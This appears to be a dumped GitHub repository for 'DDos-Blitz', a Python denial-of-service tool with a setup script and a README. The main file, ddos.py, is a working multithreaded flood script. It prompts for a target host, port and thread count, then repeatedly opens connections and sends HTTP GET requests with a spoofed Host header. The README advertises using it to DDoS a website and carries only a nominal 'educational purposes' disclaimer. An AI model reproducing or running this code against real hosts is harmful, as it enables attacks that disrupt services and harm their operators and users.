├── .gitignore ├── setup.sh ├── README.md └── ddos.py /.gitignore: -------------------------------------------------------------------------------- 1 | /data/data/com.termux/files/home/ 2 | -------------------------------------------------------------------------------- /setup.sh: -------------------------------------------------------------------------------- 1 | echo "PACKAGES ARE BEING INSTALLED PLEASE WAIT.." 2 | pack=$(pip3 install colorama) 3 | 4 | echo "do you want to exectue ddos from any where from your system? [y/n] : " 5 | read usr 6 | echo "Are you using termux ? [y/n]" 7 | read usr2 8 | if [ "$usr2" == "y" ] && [ "$usr" == "y" ]; then 9 | python=$(command -v python3) 10 | sed -i "1i \#!$python" ddos.py 11 | mv ddos.py ddos 12 | mv ddos /data/data/com.termux/files/usr/bin 13 | echo "setup successfully done, now ypu can execute the script by typing ddos" 14 | elif [ "$usr" == "y" ] && [ "$usr2" == "n" ]; then 15 | linux=$(command -v python3) 16 | sed -i "1i \#!$linux" ddos.py 17 | mv ddos.py ddos 18 | mv ddos /usr/bin 19 | echo "setup successfully donw , now you can execute the scriptby typing ddos" 20 | else 21 | ./ddos.py 22 | fi 23 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # DDos-Blitz 2 | ![IMG_20231027_130123](https://github.com/MIISTERC/DDos-Blitz/assets/130668957/87d35a4c-436e-40eb-8e68-c8f3f3d72967) 3 | # Disclaimer 4 | The developer is not responsible for any kind of illegal activity done with this script, it basically represents how ddos attacks works and it is made for educational purposes only. 5 | # What is DDos? 6 | [What is Dos and DDos attack?](https://en.m.wikipedia.org/wiki/Denial-of-service_attack) 7 | ## Features 8 | 1.Multi threading 9 | 10 | 2.Uses fake ip. 11 | # Appearance 12 | 13 | 14 | https://github.com/MIISTERC/DDos-Blitz/assets/130668957/7699bc7d-241d-4e9f-b5c5-7a33d2cb3841 15 | 16 | ## Eventually DDos a website. 17 | ![IMG_20231027_195214](https://github.com/MIISTERC/DDos-Blitz/assets/130668957/5902961f-15ff-4caa-8b01-366d4b015ea6) 18 | 19 | # Requirements 20 | Python3 21 | 22 | 23 | Colorama 24 | 25 | # Installation (Linux or Debian) 26 | ``` 27 | git clone https://github.com/MIISTERC/DDos-Blitz 28 | 29 | cd DDos-Blitz 30 | 31 | bash setup.sh 32 | ``` 33 | 34 | -------------------------------------------------------------------------------- /ddos.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | import os 3 | import socket 4 | import threading 5 | import time 6 | from colorama import Fore, Style 7 | def ddos(): 8 | os.system("clear") 9 | print("press CTRL + C and press ENTER to exit !!!") 10 | while True: 11 | try: 12 | threads = int(input("ENTER NUMBER OF THREADS : ")) 13 | except ValueError: 14 | print("please enter a integer value") 15 | continue; 16 | else: 17 | break; 18 | attack_num = 0 19 | trget = str(input(Fore.RED + Style.BRIGHT + "ENTER IP OF THE HOST : ")) 20 | fake = '192.178.1.38' 21 | #port = 80( default http port is 80) 22 | while True: 23 | try: 24 | port = int(input("ENTER PORT (default port : 80 ) : ") or 80) 25 | except ValueError: 26 | print("Please enter a valid port , please try again") 27 | continue; 28 | else: 29 | break; 30 | print(f"performing Ddos on {trget} on PORT {port} using FAKE IP {fake} ") 31 | print(Fore.YELLOW + Style.BRIGHT + "[INFO!]" + Fore.WHITE + " if the above information is incorrect,you can restart the script and again enter the details correctly!!") 32 | # print(Fore.YELLOW + Style.BRIGHT + "[INFO!]" + Fore.WHITE + " Press CTRL + C and press Enter to Exit!") 33 | #print(Style.BRIGHT + Fore.YELLOW + "[INFO!]" + Fore.WHITE + "Press CTRL + C and press enter to exit!!") 34 | time.sleep(4) 35 | print(Fore.MAGENTA + Style.BRIGHT + "DDos starting in ~") 36 | print("seconds : 3") 37 | time.sleep(1) 38 | print("seconds : 2") 39 | time.sleep(1) 40 | print("seconds : 1") 41 | time.sleep(1) 42 | 43 | def attack(): 44 | nonlocal attack_num 45 | while True: 46 | try: 47 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 48 | s.connect((trget, port)) 49 | s.sendto(("GET /" + trget + " HTTP/1.1\r\n").encode("ascii"), (trget, port)) 50 | s.sendto(('Host: ' + fake + '\r\n\r\n').encode('ascii'), (trget, port)) 51 | 52 | attack_num += 1 53 | print("packet send!! attack number : "+ str(attack_num)) 54 | except socket.error: 55 | print('CONNECTION FAILED, HOST MAY BE DOWN OR CHECK IP OR PORT') 56 | break 57 | s.close() 58 | 59 | for i in range(threads): 60 | thread = threading.Thread(target=attack) 61 | thread.start() 62 | def print_red_centered_art(): 63 | os.system("clear") 64 | art = ''' 65 | 66 | 67 | ▒█▀▀▄ ▒█▀▀▄ █▀▀█ █▀▀ 68 | ▒█░▒█ ▒█░▒█ █░░█ ▀▀█ 69 | ▒█▄▄▀ ▒█▄▄▀ ▀▀▀▀ ▀▀▀ 70 | ''' 71 | red_art = f"{Fore.RED}{art}{Style.RESET_ALL}" # Set the text color to red 72 | print(red_art.center(80)) # Adjust the width (80 characters) to match your terminal size 73 | #red_art2 = f"{Fore.RED}{art2}{Style.RESET_ALL}" 74 | art2 = ''' 75 | 76 | ░█▀▀█ █── ─▀─ ▀▀█▀▀ ▀▀█ 77 | ░█▀▀▄ █── ▀█▀ ──█── ▄▀─ 78 | ░█▄▄█ ▀▀▀ ▀▀▀ ──▀── ▀▀▀ 79 | ''' 80 | red_art2 = f"{Fore.RED}{art2}{Style.RESET_ALL}" 81 | print(red_art2.center(80)) 82 | print(Fore.YELLOW + Style.BRIGHT + "[the developer is not rensponsible for any kind of illegal activity done with this tool, this tool only represents how ddos attacks work and it is made for educational purposes.]") 83 | if __name__ == "__main__": 84 | print_red_centered_art() 85 | def menu(): 86 | # print(Style.BRIGHT + Fore.YELLOW + "[INFO!]" Fore.WHITE + "Press CTRL + C and press enter to exit!!") 87 | print(Style.BRIGHT + Fore.YELLOW + "[INFO!]" + Fore.WHITE + "Press CTRL + C and press enter to exit!!") 88 | print(Fore.BLUE + Style.BRIGHT + "=====================>>>>>>>>>>>>>>>>") 89 | print(Fore.WHITE + Style.BRIGHT + "please select from the following options...") 90 | print(Fore.WHITE + Style.BRIGHT + "1. DDos a website. [1]") 91 | print(Fore.WHITE + Style.BRIGHT + "2. exit. [2]") 92 | print("Enter your options .. [e.g 1,2]") 93 | global usr 94 | usr = input(Fore.GREEN + Style.BRIGHT + ">>>> " ) 95 | if usr == "1": 96 | ddos() 97 | elif usr == "2": 98 | print("Exiting...") 99 | time.sleep(1) 100 | else: 101 | print("invalid option..try again.") 102 | menu() 103 | menu() 104 | --------------------------------------------------------------------------------